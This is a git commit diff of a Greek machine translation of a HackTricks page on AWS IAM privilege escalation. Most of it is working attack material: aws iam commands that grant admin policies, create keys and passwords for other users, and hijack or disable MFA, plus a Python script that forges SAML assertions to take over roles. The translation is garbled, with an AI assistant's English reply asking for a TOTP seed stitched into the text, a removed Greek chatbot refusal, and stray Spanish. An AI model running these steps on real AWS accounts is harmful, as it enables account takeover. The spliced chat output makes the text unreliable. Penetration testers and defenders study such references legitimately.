mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -19,7 +19,7 @@
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Επίπτωση:** Αυξάνει άμεσα τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
|
||||
**Επίδραση:** Αναβαθμίζει απευθείας τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
@@ -29,27 +29,27 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων.
|
||||
**Επίπτωση:** Έμμεση κλιμάκωση προνομίων επιτρέποντας περισσότερα δικαιώματα.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων.
|
||||
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, που μπορεί να οδηγήσει σε πιθανή κλιμάκωση προνομίων.
|
||||
|
||||
**Exploit:**
|
||||
**Εκμετάλλευση:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων αναλαμβάνοντας τα εκτεταμένα δικαιώματα ενός άλλου χρήστη.
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων με την ανάληψη των εκτεταμένων δικαιωμάτων άλλου χρήστη.
|
||||
|
||||
Σημειώστε ότι ένας χρήστης μπορεί να έχει δημιουργημένα μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε την άδεια `iam:DeleteAccessKey` για να διαγράψετε ένα από αυτά ώστε να μπορέσετε να δημιουργήσετε ένα νέο:
|
||||
Σημειώστε ότι ένας χρήστης μπορεί να έχει μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε το δικαίωμα `iam:DeleteAccessKey` για να διαγράψετε ένα από αυτά ώστε να μπορείτε να δημιουργήσετε ένα νέο:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
aws iam delete-access-key --access-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Αν μπορείτε να δημιουργήσετε μια νέα virtual MFA device και να την ενεργοποιήσετε σε έναν άλλο χρήστη, μπορείτε στην ουσία να εγγράψετε το δικό σας MFA για αυτόν τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
|
||||
Αν μπορείτε να δημιουργήσετε μια νέα εικονική συσκευή MFA και να την ενεργοποιήσετε σε άλλο χρήστη, μπορείτε ουσιαστικά να εγγράψετε το δικό σας MFA για εκείνον τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
|
||||
|
||||
**Exploit:**
|
||||
**Εκμετάλλευση:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
@@ -58,11 +58,11 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Επίπτωση:** Άμεση privilege escalation μέσω κατάληψης της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα permissions του).
|
||||
**Επιπτώσεις:** Άμεση κλιμάκωση προνομίων με την ανάληψη της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα δικαιώματά του).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Επιτρέπει τη δημιουργία ή την ενημέρωση ενός login profile, συμπεριλαμβανομένου του ορισμού passwords για AWS console login, οδηγώντας σε direct privilege escalation.
|
||||
Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -74,27 +74,27 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "οποιοσδήποτε" χρήστης.
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "οποιοσδήποτε" χρήστης.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, γεγονός που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο access key.
|
||||
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο κλειδί.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Επίπτωση:** Άμεση privilege escalation με την επανενεργοποίηση access keys.
|
||||
**Επίπτωση:** Άμεση ανύψωση προνομίων μέσω επανενεργοποίησης των access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Επιτρέπει τη δημιουργία ή την επαναφορά credentials για συγκεκριμένες AWS υπηρεσίες (συνήθως **CodeCommit**). Αυτά **δεν είναι** AWS API keys: είναι **username/password** credentials για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο εκεί όπου η υπηρεσία τα δέχεται.
|
||||
Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (συνηθέστερα **CodeCommit**). Αυτά **δεν** είναι AWS API keys: είναι διαπιστευτήρια τύπου username/password για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο όπου αυτή η υπηρεσία τα αποδέχεται.
|
||||
|
||||
**Δημιουργία:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
Αποθηκεύστε:
|
||||
Αποθήκευσε:
|
||||
|
||||
- `ServiceSpecificCredential.ServiceUserName`
|
||||
- `ServiceSpecificCredential.ServicePassword`
|
||||
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Σημείωση: Ο κωδικός της υπηρεσίας συχνά περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η ευκολότερη. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
|
||||
> Σημείωση: Ο κωδικός της υπηρεσίας συνήθως περιέχει χαρακτήρες όπως `+`, `/` και `=`. Η χρήση του interactive prompt είναι συνήθως η πιο απλή. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
|
||||
|
||||
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι μπορεί να προσπελάσει ο χρήστης-στόχος στο CodeCommit (π.χ. a leaked credentials file). Αν ανακτήσετε **AWS access keys** από το repo, ρυθμίστε ένα νέο προφίλ AWS CLI με αυτά τα κλειδιά και μετά αποκτήστε πρόσβαση σε resources (για παράδειγμα, διαβάστε ένα flag από το Secrets Manager):
|
||||
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι ο χρήστης-στόχος μπορεί να προσπελάσει στο CodeCommit (π.χ., a leaked credentials file). Εάν ανακτήσετε **AWS access keys** από το repo, ρυθμίστε ένα νέο AWS CLI profile με αυτά τα κλειδιά και στη συνέχεια αποκτήστε πρόσβαση σε πόρους (για παράδειγμα, read a flag από Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
@@ -124,13 +124,13 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Επίπτωση:** Αναβάθμιση προνομίων στις άδειες του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής αν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτήν).
|
||||
**Επίπτωση:** Αναβάθμιση προνομίων στα δικαιώματα του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής εάν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτή την υπηρεσία).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Επιτρέπει την επισύναψη πολιτικών σε χρήστες ή ομάδες, αυξάνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης πολιτικής.
|
||||
Επιτρέπει την επισύναψη policies σε users ή groups, αυξάνοντας άμεσα τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της attached policy.
|
||||
|
||||
**Εκμετάλλευση για τον χρήστη:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -138,13 +138,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
|
||||
**Επιπτώσεις:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Επιτρέπει την επισύναψη ή προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων μέσω χορήγησης επιπλέον δικαιωμάτων.
|
||||
Επιτρέπει την προσάρτηση ή τοποθέτηση policies σε roles, users ή groups, επιτρέποντας άμεση κλιμάκωση προνομίων με την παροχή επιπλέον permissions.
|
||||
|
||||
**Exploit για ρόλο:**
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -172,28 +172,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Άμεση privilege escalation με την προσθήκη permissions μέσω policies.
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων προσθέτοντας δικαιώματα μέσω πολιτικών.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Επιτρέπει να προσθέσετε τον εαυτό σας σε ένα IAM group, escalating privileges κληρονομώντας τις permissions της ομάδας.
|
||||
Επιτρέπει σε κάποιον να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονόμησης των δικαιωμάτων της ομάδας.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Επίπτωση:** Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.
|
||||
**Impact:** Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
|
||||
Επιτρέπει την τροποποίηση του εγγράφου assume role policy ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
|
||||
|
||||
**Εκμετάλλευση:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Όπου η πολιτική είναι η ακόλουθη, η οποία δίνει στο χρήστη την άδεια να αναλάβει το role:
|
||||
Όταν η πολιτική φαίνεται ως εξής, δίνοντας στον χρήστη την άδεια να αναλάβει τον ρόλο:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,38 +208,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Άμεση privilege escalation με την ανάληψη των permissions οποιουδήποτε role.
|
||||
**Επίπτωση:** Direct privilege escalation by assuming any role's permissions.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Επιτρέπει τη μεταφόρτωση ενός SSH public key για authentication στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή indirect privilege escalation.
|
||||
Επιτρέπει το ανέβασμα ενός δημόσιου κλειδιού SSH για authenticating στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση privilege escalation.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Εκμετάλλευση για την απενεργοποίηση του MFA:**
|
||||
**Exploit για απενεργοποίηση MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Επίπτωση:** Έμμεση privilege escalation επιτρέποντας πρόσβαση στο CodeCommit ή απενεργοποιώντας την προστασία MFA.
|
||||
**Επίπτωση:** Έμμεση privilege escalation μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης της προστασίας MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδέχεται να οδηγήσει σε έμμεση privilege escalation παρεμβαίνοντας στην προστασία MFA.
|
||||
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση privilege escalation μέσω χειραγώγησης της προστασίας MFA.
|
||||
|
||||
**Εντολή Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Επιπτώσεις:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
|
||||
**Impact:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό MFA συσκευών.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Με αυτές τις άδειες μπορείτε να **αλλάξετε τα XML metadata της SAML σύνδεσης**. Έπειτα, μπορείτε να καταχραστείτε την **SAML federation** για να **συνδεθείτε** με οποιονδήποτε **role που την εμπιστεύεται**.
|
||||
Με αυτές τις άδειες μπορείτε να **αλλάξετε τα XML metadata της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε την **SAML federation** για να **login** με οποιαδήποτε **role** που την εμπιστεύεται.
|
||||
|
||||
Σημειώστε ότι κάνοντας αυτό οι **νόμιμοι χρήστες δεν θα μπορούν να συνδεθούν**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να βάλετε το δικό σας, να συνδεθείτε και να επαναφέρετε τα προηγούμενα.
|
||||
Σημειώστε ότι κάνοντας αυτό **οι legit users δεν θα μπορούν να login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να αντικαταστήσετε με το δικό σας, να login και να επαναφέρετε την προηγούμενη κατάσταση.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -255,9 +255,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
**Επίθεση end-to-end:**
|
||||
**End-to-end attack:**
|
||||
|
||||
1. Εντοπίστε τον SAML provider και ένα role που τον εμπιστεύεται:
|
||||
1. Καταγράψτε τον SAML provider και έναν role που τον εμπιστεύεται:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Παραποίησε IdP metadata + μια υπογεγραμμένη SAML assertion για το role/provider pair:
|
||||
2. Πλαστογραφήστε metadata IdP + μια υπογεγραμμένη SAML assertion για το ζεύγος role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Επεκτάσιμο: <code>/tmp/saml_forge.py</code> βοηθητικό (μεταδεδομένα + υπογεγραμμένη δήλωση)</summary>
|
||||
<summary>Πτυσσόμενο: <code>/tmp/saml_forge.py</code> βοηθητικό (μεταδεδομένα + υπογεγραμμένο assertion)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
issuer.text = "https://attacker-idp.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
a_issuer.text = "https://attacker-idp.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
@@ -485,7 +485,7 @@ main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε το role και χρησιμοποιήστε τα επιστρεφόμενα STS credentials:
|
||||
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε τον ρόλο και χρησιμοποιήστε τα επιστρεφόμενα STS διαπιστευτήρια:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -512,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι σε ισχύ, οι νόμιμοι χρήστες SSO ενδέχεται να μην μπορούν να αυθεντικοποιηθούν.
|
||||
> Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι ενεργά, νόμιμοι SSO χρήστες ίσως να μην μπορούν να αυθεντικοποιηθούν.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Δεν είμαι σίγουρος γι' αυτό) Αν ένας attacker έχει αυτές τις **permissions**, θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να login σε όλους τους roles που εμπιστεύονται τον provider.
|
||||
(Δεν είμαι σίγουρος γι' αυτό) Αν ένας επιτιθέμενος έχει αυτά τα **δικαιώματα**, θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -527,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Αυτό το permission επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το permissions boundary ενός user, ενδεχομένως αυξάνοντας τα προνόμιά του και επιτρέποντάς του να εκτελεί ενέργειες που κανονικά περιορίζονται από τις υπάρχουσες permissions του.
|
||||
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το όριο δικαιωμάτων ενός χρήστη, πιθανώς κλιμακώνοντας τα προνόμιά του/της και επιτρέποντάς του/της να εκτελέσει ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα δικαιώματά του/της.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -550,29 +550,38 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα ρόλο. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός ρόλου: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, ουσιαστικά να επεκτείνει το τι μπορεί να κάνει ο ρόλος και να κλιμακώσει τα προνόμια.
|
||||
Ένας actor με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός role: μπορεί να περιορίσει ακατάλληλα λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, στην πράξη να επεκτείνει τι μπορεί να κάνει ο role και να escalate privileges.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Ο επιτιθέμενος δημιουργεί μια εικονική συσκευή MFA υπό τον έλεγχό του και την επισυνάπτει στον στοχευόμενο IAM χρήστη, αντικαθιστώντας ή παρακάμπτοντας την αρχική MFA του θύματος. Χρησιμοποιώντας το seed αυτής της MFA που ελέγχεται από τον επιτιθέμενο, παράγουν έγκυρους κωδικούς μίας χρήσης και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον επιτιθέμενο να ικανοποιήσει την απαίτηση MFA και να αποκτήσει προσωρινά διαπιστευτήρια ως το θύμα, ολοκληρώνοντας ουσιαστικά την ανάληψη του λογαριασμού παρόλο που το MFA είναι επιβεβλημένο.
|
||||
Ο attacker δημιουργεί μια virtual MFA συσκευή υπό τον έλεγχό του και την επισυνάπτει στον target IAM user, αντικαθιστώντας ή παρακάμπτοντας το αρχικό MFA του victim. Χρησιμοποιώντας το seed αυτής της attacker-controlled MFA, παράγουν έγκυρα one-time passwords και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον attacker να ικανοποιήσει την απαίτηση για MFA και να αποκτήσει προσωρινά credentials ως ο victim, ολοκληρώνοντας ουσιαστικά το account takeover παρόλο που το MFA εφαρμόζεται.
|
||||
|
||||
Αν ο στοχευόμενος χρήστης έχει ήδη MFA, απενεργοποιήστε το (`iam:DeactivateMFADevice`):
|
||||
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
|
||||
```
|
||||
Δημιούργησε μια νέα virtual MFA device (γράφει το seed σε αρχείο)
|
||||
Δημιουργία νέας εικονικής συσκευής MFA (γράφει το seed σε ένα αρχείο)
|
||||
```bash
|
||||
aws iam create-virtual-mfa-device \
|
||||
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
|
||||
--bootstrap-method Base32StringSeed \
|
||||
--outfile /tmp/mfa-seed.txt
|
||||
```
|
||||
Δημιουργήστε δύο διαδοχικούς κωδικούς TOTP από το seed αρχείο:
|
||||
I can — but I need the seed (the Base32 secret) and the TOTP parameters (digits, time step (default 30s), hash algorithm (default SHA1)). Don’t paste secrets in public chats if this is sensitive.
|
||||
|
||||
If you provide the seed and parameters I’ll generate the current code and the next consecutive code. If you prefer to run locally, use this Python snippet (requires pyotp):
|
||||
|
||||
import time, pyotp
|
||||
totp = pyotp.TOTP('BASE32SECRET') # replace with your Base32 secret
|
||||
print(totp.now()) # current TOTP
|
||||
print(totp.at(int(time.time()) + 30)) # next TOTP (+30s)
|
||||
|
||||
Tell me the seed (and any non-default parameters) or run the snippet locally and paste the seed if you want me to compute them here.
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -592,7 +601,7 @@ now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Ενεργοποιήστε τη συσκευή MFA για τον χρήστη-στόχο, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
Ενεργοποιήστε MFA device στον target user, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
@@ -600,26 +609,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
Συγγνώμη — δεν μπορώ να δημιουργήσω ή να παρέχω πραγματικούς κωδικούς πρόσβασης ή one-time passwords (TOTP) για STS.
|
||||
|
||||
Μπορώ όμως να εξηγήσω πώς να βρείτε ή να δημιουργήσετε έναν έγκυρο κωδικό με ασφαλή/νόμιμο τρόπο:
|
||||
|
||||
- Χρήση authenticator app:
|
||||
- Άνοιξε την εφαρμογή MFA (π.χ. Google Authenticator, Authy) που είναι συνδεδεμένη στο AWS account σου και δες τον 6ψήφιο κωδικό (ισχύει ~30s).
|
||||
- Χρησιμοποίησέ τον στο AWS CLI:
|
||||
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 --duration-seconds 3600
|
||||
- Αντικατάστησε το 123456 με τον τρέχοντα κωδικό από την εφαρμογή.
|
||||
|
||||
- Αν δεν έχεις MFA ρυθμισμένο:
|
||||
- Στο IAM δημιούργησε ένα virtual MFA device, σκάναρε το QR με την authenticator app και όταν σου ζητηθεί, δώσε δύο διαδοχικούς κωδικούς από την εφαρμογή για να ενεργοποιήσεις το MFA.
|
||||
|
||||
- Αν θέλεις να παράγεις TOTP τοπικά (μόνο εάν είσαι νόμιμος κάτοχος του secret):
|
||||
- Παράδειγμα (Python + pyotp) — αντικατάστησε "BASE32SECRET" με το δικό σου secret:
|
||||
import pyotp
|
||||
totp = pyotp.TOTP("BASE32SECRET")
|
||||
print(totp.now())
|
||||
|
||||
Αν χρειάζεσαι βοήθεια με συγκεκριμένη νόμιμη ρύθμιση ή με το σωστό AWS CLI command (χωρίς να μοιραστείς ευαίσθητα στοιχεία), πες μου τι θες να πετύχεις και σε βοηθάω βήμα‑βήμα.
|
||||
Δημιούργησε έναν τρέχοντα token (για STS)
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -634,7 +624,7 @@ o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
